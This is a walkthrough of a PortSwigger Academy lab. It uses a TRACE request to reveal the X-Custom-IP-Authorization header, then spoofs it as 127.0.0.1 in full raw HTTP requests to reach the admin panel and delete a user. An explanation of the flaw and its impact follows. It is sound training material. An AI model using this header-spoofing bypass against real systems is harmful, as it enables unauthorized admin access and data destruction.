PortSwigger Academy - Authentication Bypass via Information Disclosure
This lab's administration interface has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP header used by the front-end.

Lab Overview
❓ This lab's administration interface has an authentication bypass vulnerability, but it is impractical to exploit without knowledge of a custom HTTP header used by the front-end.
Instructions
To solve the lab:
- Obtain the header name and use it to bypass the lab's authentication.
- Access the admin interface.
- Delete the user
carlos
.
You can log in to your own account using the following credentials:
wiener:peter
Initial Exploration
We start by logging in with the provided credentials:
- Username:
wiener
- Password:
peter
Once logged in, we notice that the lab hints at a custom HTTP header being involved. This is quite intriguing and sets the stage for further investigation. To uncover more, we turn to Burp Suite’s Repeater tool.
Leveraging the TRACE Method
Using the TRACE
HTTP method, we can debug the server's response and inspect the headers it processes. The TRACE
method is designed for diagnostic purposes, but when left enabled in production environments, it can leak sensitive information.
We craft a TRACE
request to the /admin
endpoint and observe the following response:
HTTP/2 200 OK
Content-Type: message/http
X-Frame-Options: SAMEORIGIN
Content-Length: 864
TRACE /admin HTTP/1.1
Host: 0afa00d1034b3ac28c8527e00072003e.web-security-academy.net
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
accept-language: en-US,en;q=0.9
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
sec-fetch-site: same-origin
sec-fetch-mode: navigate
sec-fetch-dest: document
referer: https://0afa00d1034b3ac28c8527e00072003e.web-security-academy.net/login
accept-encoding: gzip, deflate, br
priority: u=0, i
cookie: session=iN2HcoeKV2p3ZTx2tAwRcQltndk8C0nT
Content-Length: 0
X-Custom-IP-Authorization: YOUR.PUBLIC.IP.ADDRESS
Here, the server discloses the X-Custom-IP-Authorization
header. This header appears to be used for authorizing specific IP addresses to access the admin page. With this crucial piece of information, we devise our attack.
Understanding the Vulnerability
The X-Custom-IP-Authorization
header is used to restrict access to the admin page, presumably allowing only requests originating from the server’s internal network (e.g., 127.0.0.1
). However, the server blindly trusts the value of this header without verifying its authenticity. This creates a critical vulnerability, as attackers can spoof the header to masquerade as a trusted IP address.
Additionally, the TRACE
method exposes this header, providing attackers with the necessary insight to exploit the flaw. This combination of poor access control implementation and information disclosure makes the application highly vulnerable.
Exploiting the Vulnerability
To exploit this vulnerability, we craft a GET
request to the /admin
page and include the X-Custom-IP-Authorization
header with the value 127.0.0.1
, impersonating the server’s internal IP. The request looks like this:
GET /admin HTTP/2
Host: 0afa00d1034b3ac28c8527e00072003e.web-security-academy.net
Cookie: session=iN2HcoeKV2p3ZTx2tAwRcQltndk8C0nT
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://0afa00d1034b3ac28c8527e00072003e.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Custom-Ip-Authorization: 127.0.0.1
When we send this request, the server responds with a 200 OK
status and grants us access to the admin page. Success!
Performing the Final Exploit
With access to the admin page, we proceed to delete the user carlos
, as required to complete the lab. We can send this session to the Burp browser by clicking Request in browser and selecting one of the two following options:
or we can intercept the requests and step through them in the Proxy tab. Either way, we will need to add the custom X-Custom-IP-Authorization
header to the request in order to successfully delete the user. Below is what the final request should look like to delete the user carlos
and complete the lab.
GET /admin/delete?username=carlos HTTP/2
Host: 0afa00d1034b3ac28c8527e00072003e.web-security-academy.net
Cookie: session=iN2HcoeKV2p3ZTx2tAwRcQltndk8C0nT
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0afa00d1034b3ac28c8527e00072003e.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
X-Custom-Ip-Authorization: 127.0.0.1
This request successfully deletes the user carlos
, and the lab is marked as solved.
Why It's Vulnerable
1. Trusting User-Supplied Headers
The server relies on the X-Custom-IP-Authorization
header to restrict access to the /admin
page. However, since HTTP headers can be easily spoofed, relying on them for authentication or access control is inherently insecure.
2. Information Disclosure via TRACE
The TRACE
method provides attackers with detailed insights into the server’s request processing, including the custom X-Custom-IP-Authorization
header. This information disclosure makes it easy for attackers to identify and exploit the vulnerability.
3. Lack of Proper Access Controls
The admin page is protected solely based on the IP address specified in the X-Custom-IP-Authorization
header. There is no additional authentication or validation, making it trivial for attackers to bypass the restriction.
The Impact
This vulnerability has severe consequences, including:
- Unauthorized Access: Attackers can gain full access to restricted admin pages, exposing sensitive functionality.
- Privilege Escalation: A low-privileged user can elevate their access to that of an administrator by exploiting this flaw.
- Data Manipulation: Attackers can delete users, modify configurations, or steal sensitive data, causing significant disruption.